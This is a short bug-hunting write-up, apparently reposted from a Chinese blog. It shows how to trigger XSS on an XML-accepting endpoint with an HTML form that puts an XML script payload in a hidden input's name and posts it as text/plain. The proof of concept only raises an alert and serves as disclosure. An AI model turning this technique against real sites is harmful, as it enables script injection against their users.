XSS via XML POST

本文介绍了一种通过HTML表单发送恶意XML数据来触发XSS攻击的方法,并提供了一个概念验证示例。该方法适用于那些接受XML输入并将其解析为HTML的站点。
I was bug hunting on a site which looked like this: 

POST /snip/snippet.php HTTP/1.1 
<?xml version="1.0"?> 


I tested in BURP for XSS in XML, and it worked. Now I have to get this to work via a browser. I was a bit stuck of sending XML in a HTML form POST and google didn’t yeild me any results, but I worked out how. Below is my PoC: 

<html> <body> <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>"> <input type="submit" value="submit"> </form> 

Upon pressing “Submit”, the XSS in the XML is sent, and executes. And there we have it.. XSS in a XML post via a HTML form. Turns out adding the input name as the XSS will allow it to be executed. 

Note: Turns out all endpoints on the target site are vulnerable to this.. they’re going to have fun patching this. ;)

转载于:https://www.cnblogs.com/hackforfun/p/5894499.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值